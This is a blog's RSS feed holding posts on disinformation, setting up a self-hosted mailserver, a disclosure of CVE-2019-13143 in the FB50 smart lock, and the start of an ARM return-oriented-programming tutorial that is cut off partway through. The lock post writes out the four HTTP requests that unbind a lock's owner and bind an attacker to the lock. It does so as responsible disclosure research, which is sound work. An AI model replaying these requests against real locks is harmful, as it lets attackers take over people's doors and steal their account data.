1<rss xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/" version="2.0">
   2  <channel>
   3    <title>icyphox's blog</title>
   4	<link>https://icyphox.sh/blog/</link>
   5    <description>Security, forensics and privacy.</description>
   6	<atom:link href="https://icyphox.sh/blog/feed.xml" rel="self" type="application/xml"/>
   7    <image>
   8		<title>icyphox logo</title>
   9      <url>https://icyphox.sh/icyphox.png</url>
  10	  <link>https://icyphox.sh/blog/</link>
  11    </image>
  12    <language>en-us</language>
  13	<copyright>Creative Commons BY-NC-SA 4.0</copyright>
  14    <item><title>Disinformation demystified</title><description><![CDATA[<p>As with the disambiguation of any word, let&#8217;s start with its etymology and definiton.
  15According to <a href="https://en.wikipedia.org/wiki/Disinformation">Wikipedia</a>,
  16<em>disinformation</em> has been borrowed from the Russian word &#8212; <em>dezinformatisya</em> (дезинформа́ция),
  17derived from the title of a KGB black propaganda department.</p>
  18
  19<blockquote>
  20  <p>Disinformation is false information spread deliberately to deceive.</p>
  21</blockquote>
  22
  23<p>To fully understand disinformation, especially in the modern age, we need to understand the
  24key factors of any successful disinformation operation:</p>
  25
  26<ul>
  27<li>creating disinformation (what)</li>
  28<li>the motivation behind the op, or its end goal (why)</li>
  29<li>the medium used to disperse the falsified information (how)</li>
  30<li>the actor (who)</li>
  31</ul>
  32
  33<p>At the end, we&#8217;ll also look at how you can use disinformation techniques to maintain OPSEC.</p>
  34
  35<p>In order to break monotony, I will also be using the terms &#8220;information operation&#8221;, or the shortened
  36forms &#8211; &#8220;info op&#8221; &amp; &#8220;disinfo&#8221;.</p>
  37
  38<h3 id="creating-disinformation">Creating disinformation</h3>
  39
  40<p>Crafting or creating disinformation is by no means a trivial task. Often, the quality
  41of any disinformation sample is a huge indicator of the level of sophistication of the
  42actor involved, i.e. is it a 12 year old troll or a nation state?</p>
  43
  44<p>Well crafted disinformation always has one primary characteristic &#8212; &#8220;plausibility&#8221;.
  45The disinfo must sound reasonable. It must induce the notion it&#8217;s <em>likely</em> true. 
  46To achieve this, the target &#8212; be it an individual, a specific demographic or an entire
  47nation &#8212; must be well researched. A deep understanding of the target&#8217;s culture, history,
  48geography and psychology is required. It also needs circumstantial and situational awareness,
  49of the target.</p>
  50
  51<p>There are many forms of disinformation. A few common ones are staged videos / photographs, 
  52recontextualized videos / photographs, blog posts, news articles &amp; most recently &#8212; deepfakes.</p>
  53
  54<p>Here&#8217;s a tweet from <a href="https://twitter.com/thegrugq">the grugq</a>, showing a case of recontextualized
  55imagery:</p>
  56
  57<blockquote class="twitter-tweet" data-dnt="true" data-theme="dark" data-link-color="#00ffff">
  58<p lang="en" dir="ltr">Disinformation.
  59<br><br>
  60The content of the photo is not fake. The reality of what it captured is fake. The context it’s placed in is fake. The picture itself is 100% authentic. Everything, except the photo itself, is fake.
  61<br><br>Recontextualisation as threat vector. 
  62<a href="https://t.co/Pko3f0xkXC">pic.twitter.com/Pko3f0xkXC</a>
  63</p>&mdash; thaddeus e. grugq (@thegrugq) 
  64<a href="https://twitter.com/thegrugq/status/1142759819020890113?ref_src=twsrc%5Etfw">June 23, 2019</a>
  65</blockquote>
  66
  67<script async src="https://platform.twitter.com/widgets.js" charset="utf-8"></script> 
  68
  69<h3 id="motivations-behind-an-information-operation">Motivations behind an information operation</h3>
  70
  71<p>I like to broadly categorize any info op as either proactive or reactive. 
  72Proactively, disinformation is spread with the desire to influence the target
  73either before or during the occurence of an event. This is especially observed
  74during elections.<sup class="footnote-ref" id="fnref-1"><a href="#fn-1">1</a></sup>
  75In offensive information operations, the target&#8217;s psychological state can be affected by
  76spreading <strong>fear, uncertainty &amp; doubt</strong>, or FUD for short.</p>
  77
  78<p>Reactive disinformation is when the actor, usually a nation state in this case,
  79screws up and wants to cover their tracks. A fitting example of this is the case
  80of Malaysian Airlines Flight 17 (MH17), which was shot down while flying over 
  81eastern Ukraine. This tragic incident has been attributed to Russian-backed 
  82separatists.<sup class="footnote-ref" id="fnref-2"><a href="#fn-2">2</a></sup> 
  83Russian media is known to have desseminated a number of alternative &amp; some even
  84conspiratorial theories<sup class="footnote-ref" id="fnref-3"><a href="#fn-3">3</a></sup>, in response. The number grew as the JIT&#8217;s (Dutch-lead Joint
  85Investigation Team) investigations pointed towards the separatists. 
  86The idea was to <strong>muddle the information</strong> space with these theories, and as a result,
  87potentially correct information takes a credibility hit.</p>
  88
  89<p>Another motive for an info op is to <strong>control the narrative</strong>. This is often seen in use
  90in totalitarian regimes; when the government decides what the media portrays to the
  91masses. The ongoing Hong Kong protests is a good example.<sup class="footnote-ref" id="fnref-4"><a href="#fn-4">4</a></sup> According to <a href="https://www.npr.org/2019/08/14/751039100/china-state-media-present-distorted-version-of-hong-kong-protests">NPR</a>:</p>
  92
  93<blockquote>
  94  <p>Official state media pin the blame for protests on the &#8220;black hand&#8221; of foreign interference, 
  95  namely from the United States, and what they have called criminal Hong Kong thugs.
  96  A popular conspiracy theory posits the CIA incited and funded the Hong Kong protesters, 
  97  who are demanding an end to an extradition bill with China and the ability to elect their own leader.
  98  Fueling this theory, China Daily, a state newspaper geared toward a younger, more cosmopolitan audience, 
  99  this week linked to a video purportedly showing Hong Kong protesters using American-made grenade launchers to combat police.
 100  &#8230;</p>
 101</blockquote>
 102
 103<h3 id="media-used-to-disperse-disinfo">Media used to disperse disinfo</h3>
 104
 105<p>As seen in the above example of totalitarian governments, national TV and newspaper agencies
 106play a key role in influence ops en masse. It guarantees outreach due to the channel/paper&#8217;s
 107popularity.</p>
 108
 109<p>Twitter is another, obvious example. Due to the ease of creating accounts and the ability to
 110generate activity programmatically via the API, Twitter bots are the go-to choice today for 
 111info ops. Essentially, an actor attempts to create &#8220;discussions&#8221; amongst &#8220;users&#8221; (read: bots),
 112to push their narrative(s). Twitter also provides analytics for every tweet, enabling actors to
 113get realtime insights into what sticks and what doesn&#8217;t.
 114The use of Twitter was seen during the previously discussed MH17 case, where Russia employed its troll
 115factory &#8212; the <a href="https://en.wikipedia.org/wiki/Internet_Research_Agency">Internet Research Agency</a> (IRA)
 116to create discussions about alternative theories.</p>
 117
 118<p>In India, disinformation is often spread via YouTube, WhatsApp and Facebook. Political parties
 119actively invest in creating group chats to spread political messages and memes. These parties
 120have volunteers whose sole job is to sit and forward messages.
 121Apart from political propaganda, WhatsApp finds itself as a medium of fake news. In most cases,
 122this is disinformation without a motive, or the motive is hard to determine simply because
 123the source is impossible to trace, lost in forwards.<sup class="footnote-ref" id="fnref-5"><a href="#fn-5">5</a></sup>
 124This is a difficult problem to combat, especially given the nature of the target audience.</p>
 125
 126<h3 id="the-actors-behind-disinfo-campaigns">The actors behind disinfo campaigns</h3>
 127
 128<p>I doubt this requires further elaboration, but in short:</p>
 129
 130<ul>
 131<li>nation states and their intelligence agencies</li>
 132<li>governments, political parties</li>
 133<li>other non/quasi-governmental groups</li>
 134<li>trolls</li>
 135</ul>
 136
 137<p>This essentially sums up the what, why, how and who of disinformation. </p>
 138
 139<h3 id="personal-opsec">Personal OPSEC</h3>
 140
 141<p>This is a fun one. Now, it&#8217;s common knowledge that
 142<strong>STFU is the best policy</strong>. But sometimes, this might not be possible, because
 143afterall inactivity leads to suspicion, and suspicion leads to scrutiny. Which might
 144lead to your OPSEC being compromised.
 145So if you really have to, you can feign activity using disinformation. For example,
 146pick a place, and throw in subtle details pertaining to the weather, local events
 147or regional politics of that place into your disinfo. Assuming this is Twitter, you can
 148tweet stuff like:</p>
 149
 150<ul>
 151<li>&#8220;Ugh, when will this hot streak end?!&#8221;</li>
 152<li>&#8220;Traffic wonky because of the Mardi Gras parade.&#8221;</li>
 153<li>&#8220;Woah, XYZ place is nice! Especially the fountains by ABC street.&#8221;</li>
 154</ul>
 155
 156<p>Of course, if you&#8217;re a nobody on Twitter (like me), this is a non-issue for you.</p>
 157
 158<p>And please, don&#8217;t do this:</p>
 159
 160<p><img src="/static/img/mcafeetweet.png" alt="mcafee opsecfail" /></p>
 161
 162<h3 id="conclusion">Conclusion</h3>
 163
 164<p>The ability to influence someone&#8217;s decisions/thought process in just one tweet is 
 165scary. There is no simple way to combat disinformation. Social media is hard to control.
 166Just like anything else in cyber, this too is an endless battle between social media corps
 167and motivated actors.</p>
 168
 169<p>A huge shoutout to Bellingcat for their extensive research in this field, and for helping
 170folks see the truth in a post-truth world.</p>
 171
 172<div class="footnotes">
 173<hr />
 174<ol>
 175<li id="fn-1">
 176<p><a href="https://www.vice.com/en_us/article/ev3zmk/an-expert-explains-the-many-ways-our-elections-can-be-hacked">This</a> episode of CYBER talks about election influence ops (features the grugq!).&#160;<a href="#fnref-1" class="footnoteBackLink" title="Jump back to footnote 1 in the text.">&#8617;</a></p>
 177</li>
 178
 179<li id="fn-2">
 180<p>The <a href="https://www.bellingcat.com/category/resources/podcasts/">Bellingcat Podcast</a>&#8217;s season one covers the MH17 investigation in detail.&#160;<a href="#fnref-2" class="footnoteBackLink" title="Jump back to footnote 2 in the text.">&#8617;</a></p>
 181</li>
 182
 183<li id="fn-3">
 184<p><a href="https://en.wikipedia.org/wiki/Malaysia_Airlines_Flight_17#Conspiracy_theories">Wikipedia section on MH17 conspiracy theories</a>&#160;<a href="#fnref-3" class="footnoteBackLink" title="Jump back to footnote 3 in the text.">&#8617;</a></p>
 185</li>
 186
 187<li id="fn-4">
 188<p><a href="https://twitter.com/gdead/status/1171032265629032450">Chinese newspaper spreading disinfo</a>&#160;<a href="#fnref-4" class="footnoteBackLink" title="Jump back to footnote 4 in the text.">&#8617;</a></p>
 189</li>
 190
 191<li id="fn-5">
 192<p>Use an adblocker before clicking <a href="https://www.news18.com/news/tech/fake-whatsapp-message-of-child-kidnaps-causing-mob-violence-in-madhya-pradesh-2252015.html">this</a>.&#160;<a href="#fnref-5" class="footnoteBackLink" title="Jump back to footnote 5 in the text.">&#8617;</a></p>
 193</li>
 194</ol>
 195</div>
 196]]></description><link>https://icyphox.sh/blog/disinfo</link><pubDate>Tue, 10 Sep 2019 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/disinfo</guid></item><item><title>Setting up my personal mailserver</title><description><![CDATA[<p>A mailserver was a long time coming. I&#8217;d made an attempt at setting one up
 197around ~4 years ago (ish), and IIRC, I quit when it came to DNS. And
 198I almost did this time too.<sup class="footnote-ref" id="fnref-1"><a href="#fn-1">1</a></sup></p>
 199
 200<p>For this attempt, I wanted a simpler approach. I recall how terribly
 201confusing Dovecot &amp; Postfix were to configure and hence I decided to look
 202for a containerized solution, that most importantly, runs on my cheap $5 
 203Digital Ocean VPS &#8212; 1 vCPU and 1 GB memory. Of which only around 500 MB
 204is actually available. So yeah, <em>pretty</em> tight.</p>
 205
 206<h3 id="whats-available">What&#8217;s available</h3>
 207
 208<p>Turns out, there are quite a few of these OOTB, ready to deply solutions.
 209These are the ones I came across:</p>
 210
 211<ul>
 212<li><p><a href="https://poste.io">poste.io</a>: Based on an &#8220;open core&#8221; model. The base install is open source 
 213and free (as in beer), but you&#8217;ll have to pay for the extra stuff.</p></li>
 214<li><p><a href="https://mailu.io">mailu.io</a>: Free software. Draws inspiration from poste.io, 
 215but ships with a web UI that I didn&#8217;t need. </p></li>
 216<li><p><a href="https://mailcow.email">mailcow.email</a>: These fancy domains are getting ridiculous. But more importantly
 217they need 2 GiB of RAM <em>plus</em> swap?! Nope.</p></li>
 218<li><p><a href="https://mailinabox.email">Mail-in-a-Box</a>: Unlike the ones above, not a Docker-based solution but definitely worth
 219a mention. It however, needs a fresh box to work with. A box with absolutely 
 220nothing else on it. I can&#8217;t afford to do that.</p></li>
 221<li><p><a href="https://github.com/tomav/docker-mailserver/">docker-mailserver</a>: <strong>The winner</strong>. </p></li>
 222</ul>
 223
 224<h3 id="so-docker-mailserver">So… <code>docker-mailserver</code></h3>
 225
 226<p>The first thing that caught my eye in the README:</p>
 227
 228<blockquote>
 229  <p>Recommended:</p>
 230  
 231  <ul>
 232  <li>1 CPU</li>
 233  <li>1GB RAM</li>
 234  </ul>
 235  
 236  <p>Minimum:</p>
 237  
 238  <ul>
 239  <li>1 CPU</li>
 240  <li>512MB RAM</li>
 241  </ul>
 242</blockquote>
 243
 244<p>Fantastic, I can somehow squeeze this into my existing VPS.
 245Setup was fairly simple &amp; the docs are pretty good. It employs a single
 246<code>.env</code> file for configuration, which is great.
 247However, I did run into a couple of hiccups here and there.</p>
 248
 249<p>One especially nasty one was <code>docker</code> / <code>docker-compose</code> running out
 250of memory.</p>
 251
 252<pre><code>Error response from daemon: cannot stop container: 2377e5c0b456: Cannot kill container 2377e5c0b456226ecaa66a5ac18071fc5885b8a9912feeefb07593638b9a40d1: OCI runtime state failed: runc did not terminate sucessfully: fatal error: runtime: out of memory
 253</code></pre>
 254
 255<p>But it eventually worked after a couple of attempts.</p>
 256
 257<p>The next thing I struggled with &#8212; DNS. Specifically, the with the step where
 258the DKIM keys are generated<sup class="footnote-ref" id="fnref-2"><a href="#fn-2">2</a></sup>. The output under <br />
 259<code>config/opendkim/keys/domain.tld/mail.txt</code> <br />
 260isn&#8217;t exactly CloudFlare friendly; they can&#8217;t be directly copy-pasted into
 261a <code>TXT</code> record. </p>
 262
 263<p>This is what it looks like.</p>
 264
 265<pre><code>mail._domainkey IN  TXT ( "v=DKIM1; h=sha256; k=rsa; "
 266      "p=&lt;key&gt;"
 267      "&lt;more key&gt;" )  ; ----- DKIM key mail for icyphox.sh
 268</code></pre>
 269
 270<p>But while configuring the record, you set &#8220;Type&#8221; to <code>TXT</code>, &#8220;Name&#8221; to <code>mail._domainkey</code>,
 271and the &#8220;Value&#8221; to what&#8217;s inside the parenthesis <code>(  )</code>, <em>removing</em> the quotes <code>""</code>. 
 272Also remove the part that appears to be a comment <code>; ----- ...</code>.</p>
 273
 274<p>To simplify debugging DNS issues later, it&#8217;s probably a good idea to
 275point to your mailserver using a subdomain like <code>mail.domain.tld</code> using an 
 276<code>A</code> record.
 277You&#8217;ll then have to set an <code>MX</code> record with the &#8220;Name&#8221; as <code>@</code> (or whatever your DNS provider
 278uses to denote the root domain) and the &#8220;Value&#8221; to <code>mail.domain.tld</code>.
 279And finally, the <code>PTR</code> (pointer record, I think), which is the reverse of 
 280your <code>A</code> record &#8212; &#8220;Name&#8221; as the server IP and &#8220;Value&#8221; as <code>mail.domain.tld</code>.
 281I learnt this part the hard way, when my outgoing email kept getting
 282rejected by Tutanota&#8217;s servers.</p>
 283
 284<p>Yet another hurdle &#8212; SSL/TLS certificates. This isn&#8217;t very properly
 285documented, unless you read through the <a href="https://github.com/tomav/docker-mailserver/wiki/Installation-Examples">wiki</a>
 286and look at an example. In short, install <code>certbot</code>, have port 80 free,
 287and run </p>
 288
 289<div class="codehilite"><pre><span></span><code>$ certbot certonly --standalone -d mail.domain.tld
 290</code></pre></div>
 291
 292<p>Once that&#8217;s done, edit the <code>docker-compose.yml</code> file to mount <code>/etc/letsencrypt</code> in 
 293the container, something like so:</p>
 294
 295<div class="codehilite"><pre><span></span><code><span class="nn">...</span>
 296
 297<span class="nt">volumes</span><span class="p">:</span>
 298    <span class="p p-Indicator">-</span> <span class="l l-Scalar l-Scalar-Plain">maildata:/var/mail</span>
 299    <span class="p p-Indicator">-</span> <span class="l l-Scalar l-Scalar-Plain">mailstate:/var/mail-state</span>
 300    <span class="p p-Indicator">-</span> <span class="l l-Scalar l-Scalar-Plain">./config/:/tmp/docker-mailserver/</span>
 301    <span class="p p-Indicator">-</span> <span class="l l-Scalar l-Scalar-Plain">/etc/letsencrypt:/etc/letsencrypt</span>
 302
 303<span class="nn">...</span>
 304</code></pre></div>
 305
 306<p>With this done, you shouldn&#8217;t have mail clients complaining about 
 307wonky certs for which you&#8217;ll have to add an exception manually.</p>
 308
 309<h3 id="why-would-you">Why would you…?</h3>
 310
 311<p>There are a few good reasons for this:</p>
 312
 313<h4 id="privacy">Privacy</h4>
 314
 315<p>No really, this is <em>the</em> best choice for truly private
 316email. Not ProtonMail, not Tutanota. Sure, they claim so and I don&#8217;t 
 317dispute it. Quoting Drew Devault<sup class="footnote-ref" id="fnref-3"><a href="#fn-3">3</a></sup>,</p>
 318
 319<blockquote>
 320  <p>Truly secure systems do not require you to trust the service provider.</p>
 321</blockquote>
 322
 323<p>But you have to <em>trust</em> ProtonMail. They run open source software, but
 324how can you really be sure that it isn&#8217;t a backdoored version of it?</p>
 325
 326<p>When you host your own mailserver, you truly own your email without having to rely on any
 327third-party.
 328This isn&#8217;t an attempt to spread FUD. In the end, it all depends on your
 329threat model™.</p>
 330
 331<h4 id="decentralization">Decentralization</h4>
 332
 333<p>Email today is basically run by Google. Gmail has over 1.2 <em>billion</em>
 334active users. That&#8217;s obscene.
 335Email was designed to be decentralized but big corps swooped in and
 336made it a product. They now control your data, and it isn&#8217;t unknown that
 337Google reads your mail. This again loops back to my previous point, privacy.
 338Decentralization guarantees privacy. When you control your mail, you subsequently
 339control who reads it.</p>
 340
 341<h4 id="personalization">Personalization</h4>
 342
 343<p>Can&#8217;t ignore this one. It&#8217;s cool to have a custom email address to flex.</p>
 344
 345<p><code>x@icyphox.sh</code> vs <code>gabe.newell4321@gmail.com</code></p>
 346
 347<p>Pfft, this is no competition.</p>
 348
 349<div class="footnotes">
 350<hr />
 351<ol>
 352<li id="fn-1">
 353<p>My <a href="https://twitter.com/icyphox/status/1161648321548566528">tweet</a> of frustration.&#160;<a href="#fnref-1" class="footnoteBackLink" title="Jump back to footnote 1 in the text.">&#8617;</a></p>
 354</li>
 355
 356<li id="fn-2">
 357<p><a href="https://github.com/tomav/docker-mailserver#generate-dkim-keys">Link</a> to step in the docs.&#160;<a href="#fnref-2" class="footnoteBackLink" title="Jump back to footnote 2 in the text.">&#8617;</a></p>
 358</li>
 359
 360<li id="fn-3">
 361<p>From his <a href="https://drewdevault.com/2018/08/08/Signal.html">article</a> on why he doesn&#8217;t trust Signal.&#160;<a href="#fnref-3" class="footnoteBackLink" title="Jump back to footnote 3 in the text.">&#8617;</a></p>
 362</li>
 363</ol>
 364</div>
 365]]></description><link>https://icyphox.sh/blog/mailserver</link><pubDate>Thu, 15 Aug 2019 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/mailserver</guid></item><item><title>Picking the FB50 smart lock (CVE-2019-13143)</title><description><![CDATA[<p>(<em>originally posted at <a href="http://blog.securelayer7.net/fb50-smart-lock-vulnerability-disclosure">SecureLayer7&#8217;s Blog</a>, with my edits</em>)</p>
 366
 367<h3 id="the-lock">The lock</h3>
 368
 369<p>The lock in question is the FB50 smart lock, manufactured by Shenzhen
 370Dragon Brother Technology Co. Ltd. This lock is sold under multiple brands
 371across many ecommerce sites, and has over, an estimated, 15k+ users.</p>
 372
 373<p>The lock pairs to a phone via Bluetooth, and requires the OKLOK app from
 374the Play/App Store to function. The app requires the user to create an
 375account before further functionality is available. 
 376It also facilitates configuring the fingerprint,
 377and unlocking from a range via Bluetooth.</p>
 378
 379<p>We had two primary attack surfaces we decided to tackle — Bluetooth (BLE)
 380and the Android app.</p>
 381
 382<h3 id="via-bluetooth-low-energy-ble">Via Bluetooth Low Energy (BLE)</h3>
 383
 384<p>Android phones have the ability to capture Bluetooth (HCI) traffic
 385which can be enabled under Developer Options under Settings. We made 
 386around 4 &#8220;unlocks&#8221; from the Android phone, as seen in the screenshot.</p>
 387
 388<p><img src="/static/img/bt_wireshark.png" alt="wireshark packets" /></p>
 389
 390<p>This is the value sent in the <code>Write</code> request:</p>
 391
 392<p><img src="/static/img/bt_ws_value.png" alt="wireshark write req" /></p>
 393
 394<p>We attempted replaying these requests using <code>gattool</code> and <code>gattacker</code>,
 395but that didn&#8217;t pan out, since the value being written was encrypted.<sup class="footnote-ref" id="fnref-1"><a href="#fn-1">1</a></sup></p>
 396
 397<h3 id="via-the-android-app">Via the Android app</h3>
 398
 399<p>Reversing the app using <code>jd-gui</code>, <code>apktool</code> and <code>dex2jar</code> didn&#8217;t get us too
 400far since most of it was obfuscated. Why bother when there exists an 
 401easier approach &#8211; BurpSuite.</p>
 402
 403<p>We captured and played around with a bunch of requests and responses,
 404and finally arrived at a working exploit chain.</p>
 405
 406<h3 id="the-exploit">The exploit</h3>
 407
 408<p>The entire exploit is a 4 step process consisting of authenticated 
 409HTTP requests:</p>
 410
 411<ol>
 412<li>Using the lock&#8217;s MAC (obtained via a simple Bluetooth scan in the 
 413vicinity), get the barcode and lock ID</li>
 414<li>Using the barcode, fetch the user ID</li>
 415<li>Using the lock ID and user ID, unbind the user from the lock</li>
 416<li>Provide a new name, attacker&#8217;s user ID and the MAC to bind the attacker
 417to the lock</li>
 418</ol>
 419
 420<p>This is what it looks like, in essence (personal info redacted).</p>
 421
 422<h4 id="request-1">Request 1</h4>
 423
 424<pre><code>POST /oklock/lock/queryDevice
 425{"mac":"XX:XX:XX:XX:XX:XX"}
 426</code></pre>
 427
 428<p>Response:</p>
 429
 430<pre><code>{
 431   "result":{
 432      "alarm":0,
 433      "barcode":"&lt;BARCODE&gt;",
 434      "chipType":"1",
 435      "createAt":"2019-05-14 09:32:23.0",
 436      "deviceId":"",
 437      "electricity":"95",
 438      "firmwareVersion":"2.3",
 439      "gsmVersion":"",
 440      "id":&lt;LOCK ID&gt;,
 441      "isLock":0,
 442      "lockKey":"69,59,58,0,26,6,67,90,73,46,20,84,31,82,42,95",
 443      "lockPwd":"000000",
 444      "mac":"XX:XX:XX:XX:XX:XX",
 445      "name":"lock",
 446      "radioName":"BlueFPL",
 447      "type":0
 448   },
 449   "status":"2000"
 450}
 451</code></pre>
 452
 453<h4 id="request-2">Request 2</h4>
 454
 455<pre><code>POST /oklock/lock/getDeviceInfo
 456
 457{"barcode":"https://app.oklok.com.cn/app.html?id=&lt;BARCODE&gt;"}
 458</code></pre>
 459
 460<p>Response:</p>
 461
 462<pre><code>   "result":{
 463      "account":"email@some.website",
 464      "alarm":0,
 465      "barcode":"&lt;BARCODE&gt;",
 466      "chipType":"1",
 467      "createAt":"2019-05-14 09:32:23.0",
 468      "deviceId":"",
 469      "electricity":"95",
 470      "firmwareVersion":"2.3",
 471      "gsmVersion":"",
 472      "id":&lt;LOCK ID&gt;,
 473      "isLock":0,
 474      "lockKey":"69,59,58,0,26,6,67,90,73,46,20,84,31,82,42,95",
 475      "lockPwd":"000000",
 476      "mac":"XX:XX:XX:XX:XX:XX",
 477      "name":"lock",
 478      "radioName":"BlueFPL",
 479      "type":0,
 480      "userId":&lt;USER ID&gt;
 481   }
 482</code></pre>
 483
 484<h4 id="request-3">Request 3</h4>
 485
 486<pre><code>POST /oklock/lock/unbind
 487
 488{"lockId":"&lt;LOCK ID&gt;","userId":&lt;USER ID&gt;}
 489</code></pre>
 490
 491<h4 id="request-4">Request 4</h4>
 492
 493<pre><code>POST /oklock/lock/bind
 494
 495{"name":"newname","userId":&lt;USER ID&gt;,"mac":"XX:XX:XX:XX:XX:XX"}
 496</code></pre>
 497
 498<h3 id="thats-it-the-scary-stuff">That&#8217;s it! (&amp; the scary stuff)</h3>
 499
 500<p>You should have the lock transferred to your account. The severity of this
 501issue lies in the fact that the original owner completely loses access to
 502their lock. They can&#8217;t even &#8220;rebind&#8221; to get it back, since the current owner 
 503(the attacker) needs to authorize that. </p>
 504
 505<p>To add to that, roughly 15,000 user accounts&#8217; info are exposed via IDOR.
 506Ilja, a cool dude I met on Telegram, noticed locks named &#8220;carlock&#8221;, 
 507&#8220;garage&#8221;, &#8220;MainDoor&#8221;, etc.<sup class="footnote-ref" id="fnref-2"><a href="#fn-2">2</a></sup> This is terrifying.</p>
 508
 509<p><em>shudders</em></p>
 510
 511<h3 id="proof-of-concept">Proof of Concept</h3>
 512
 513<p><a href="https://twitter.com/icyphox/status/1158396372778807296">PoC Video</a></p>
 514
 515<p><a href="https://github.com/icyphox/pwnfb50">Exploit code</a></p>
 516
 517<h3 id="disclosure-timeline">Disclosure timeline</h3>
 518
 519<ul>
 520<li><strong>26th June, 2019</strong>: Issue discovered at SecureLayer7, Pune</li>
 521<li><strong>27th June, 2019</strong>: Vendor notified about the issue</li>
 522<li><strong>2nd July, 2019</strong>: CVE-2019-13143 reserved</li>
 523<li>No response from vendor</li>
 524<li><strong>2nd August 2019</strong>: Public disclosure</li>
 525</ul>
 526
 527<h3 id="lessons-learnt">Lessons learnt</h3>
 528
 529<p><strong>DO NOT</strong>. Ever. Buy. A smart lock. You&#8217;re better off with the &#8220;dumb&#8221; ones
 530with keys. With the IoT plague spreading, it brings in a large attack surface
 531to things that were otherwise &#8220;unhackable&#8221; (try hacking a &#8220;dumb&#8221; toaster).</p>
 532
 533<p>The IoT security scene is rife with bugs from over 10 years ago, like
 534executable stack segments<sup class="footnote-ref" id="fnref-3"><a href="#fn-3">3</a></sup>, hardcoded keys, and poor development 
 535practices in general.</p>
 536
 537<p>Our existing threat models and scenarios have to be updated to factor 
 538in these new exploitation possibilities. This also broadens the playing 
 539field for cyber warfare and mass surveillance campaigns. </p>
 540
 541<h3 id="researcher-info">Researcher info</h3>
 542
 543<p>This research was done at <a href="https://securelayer7.net">SecureLayer7</a>, Pune, IN by:</p>
 544
 545<ul>
 546<li>Anirudh Oppiliappan (me)</li>
 547<li>S. Raghav Pillai (<a href="https://twitter.com/_vologue">@_vologue</a>)</li>
 548<li>Shubham Chougule (<a href="https://twitter.com/shubhamtc">@shubhamtc</a>)</li>
 549</ul>
 550
 551<div class="footnotes">
 552<hr />
 553<ol>
 554<li id="fn-1">
 555<p><a href="https://www.pentestpartners.com/security-blog/pwning-the-nokelock-api/">This</a> article discusses a similar smart lock, but they broke the encryption.&#160;<a href="#fnref-1" class="footnoteBackLink" title="Jump back to footnote 1 in the text.">&#8617;</a></p>
 556</li>
 557
 558<li id="fn-2">
 559<p>Thanks to Ilja Shaposhnikov (@drakylar).&#160;<a href="#fnref-2" class="footnoteBackLink" title="Jump back to footnote 2 in the text.">&#8617;</a></p>
 560</li>
 561
 562<li id="fn-3">
 563<p><a href="https://gsec.hitb.org/materials/sg2015/whitepapers/Lyon%20Yang%20-%20Advanced%20SOHO%20Router%20Exploitation.pdf">PDF</a>&#160;<a href="#fnref-3" class="footnoteBackLink" title="Jump back to footnote 3 in the text.">&#8617;</a></p>
 564</li>
 565</ol>
 566</div>
 567]]></description><link>https://icyphox.sh/blog/fb50</link><pubDate>Mon, 05 Aug 2019 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/fb50</guid></item><item><title>Return Oriented Programming on ARM (32-bit)</title><description><![CDATA[<p>Before we start <em>anything</em>, you’re expected to know the basics of ARM
 568assembly to follow along. I highly recommend
 569<a href="https://twitter.com/fox0x01">Azeria’s</a> series on <a href="https://azeria-labs.com/writing-arm-assembly-part-1/">ARM Assembly
 570Basics</a>. Once you’re
 571comfortable with it, proceed with the next bit — environment setup.</p>
 572
 573<h3 id="setup">Setup</h3>
 574
 575<p>Since we’re working with the ARM architecture, there are two options to go
 576forth with: </p>
 577
 578<ol>
 579<li>Emulate — head over to <a href="https://www.qemu.org/download/">qemu.org/download</a> and install QEMU. 
 580And then download and extract the ARMv6 Debian Stretch image from one of the links <a href="https://blahcat.github.io/qemu/">here</a>.
 581The scripts found inside should be self-explanatory.</li>
 582<li>Use actual ARM hardware, like an RPi.</li>
 583</ol>
 584
 585<p>For debugging and disassembling, we’ll be using plain old <code>gdb</code>, but you
 586may use <code>radare2</code>, IDA or anything else, really. All of which can be
 587trivially installed.</p>
 588
 589<p>And for the sake of simplicity, disable ASLR:</p>
 590
 591<div class="codehilite"><pre><span></span><code>$ <span class="nb">echo</span> <span class="m">0</span> &gt; /proc/sys/kernel/randomize_va_space
 592</code></pre></div>
 593
 594<p>Finally, the binary we’ll be using in this exercise is <a href="https://twitter.com/bellis1000">Billy Ellis’</a>
 595<a href="/static/files/roplevel2.c">roplevel2</a>. </p>
 596
 597<p>Compile it:</p>
 598
 599<div class="codehilite"><pre><span></span><code>$ gcc roplevel2.c -o rop2
 600</code></pre></div>
 601
 602<p>With that out of the way, here’s a quick run down of what ROP actually is.</p>
 603
 604<h3 id="a-primer-on-rop">A primer on ROP</h3>
 605
 606<p>ROP or Return Oriented Programming is a modern exploitation technique that’s
 607used to bypass protections like the <strong>NX bit</strong> (no-execute bit) and <strong>code sigining</strong>.
 608In essence, no code in the binary is actually modified and the entire exploit
 609is crafted out of pre-existing artifacts within the binary, known as <strong>gadgets</strong>.</p>
 610
 611<p>A gadget is essentially a small sequence of code (instructions), ending with
 612a <code>ret</code>, or a return instruction. In our case, since we’re dealing with ARM
 613code, there is no <code>ret</code> instruction but rather a <code>pop {pc}</code> or a <code>bx lr</code>.
 614These gadgets are <em>chained</em> together by jumping (returning) from one onto the other
 615to form what’s called as a <strong>ropchain</strong>. At the end of a ropchain,
 616there’s generally a call to <code>system()</code>, to acheive code execution.</p>
 617
 618<p>In practice, the process of executing a ropchain is something like this:</p>
 619
 620<ul>
 621<li>confirm the existence of a stack-based buffer overflow</li>
 622<li>identify the offset at which the instruction pointer gets overwritten</li>
 623<li>locate the addresses of the gadgets you wish to use</li>
 624<li>craft your input keeping in mind the stack’s layout, and chain the addresses
 625of your gadgets</li>
 626</ul>
 627
 628<p><a href="https://twitter.com/LiveOverflow">LiveOverflow</a> has a <a href="https://www.youtube.com/watch?v=zaQVNM3or7k&amp;list=PLhixgUqwRTjxglIswKp9mpkfPNfHkzyeN&amp;index=46&amp;t=0s">beautiful video</a> where he explains ROP using “weird machines”. 
 629Check it out, it might be just what you needed for that “aha!” moment :)</p>
 630
 631<p>Still don’t get it? Don’t fret, we’ll look at <em>actual</em> exploit code in a bit and hopefully
 632that should put things into perspective.</p>
 633
 634<h3 id="exploring-our-binary">Exploring our binary</h3>
 635
 636<p>Start by running it, and entering any arbitrary string. On entering a fairly
 637large string, say, “A” × 20, we
